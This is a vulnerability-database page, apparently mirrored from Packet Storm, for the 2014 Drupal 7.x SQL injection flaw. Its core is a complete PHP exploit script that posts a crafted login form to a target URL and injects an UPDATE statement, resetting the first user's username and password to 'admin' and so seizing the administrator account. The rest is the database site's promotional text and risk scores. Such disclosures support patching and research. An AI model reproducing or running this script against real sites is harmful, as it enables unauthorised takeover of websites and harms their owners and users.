Lucene search
+L

Drupal 7.x SQL Injection

🗓️ 17 Oct 2014 00:00:00Reported by Milan KragujevicType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 104 Views

Drupal 7.x SQL Injection vulnerability demo to change first user's username to admin and password to admin at specified UR

Related
Code
`<?php  
/********************************************************  
* Drupal 7 SQL Injection vulnerability demo  
* Created by Milan Kragujevic (of milankragujevic.com)  
* Read more at http://milankragujevic.com/post/66  
* This will change the first user's username to admin  
* and their password to admin  
* Change $url to the website URL  
********************************************************/  
$url = '[URL HERE]'; // URL of the website (http://domain.com/)  
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";  
  
$params = array(  
'http' => array(  
'method' => 'POST',  
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",  
'content' => $post_data  
)  
);  
$ctx = stream_context_create($params);  
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);  
  
if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {  
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";  
} else {  
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Oct 2014 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.99974
104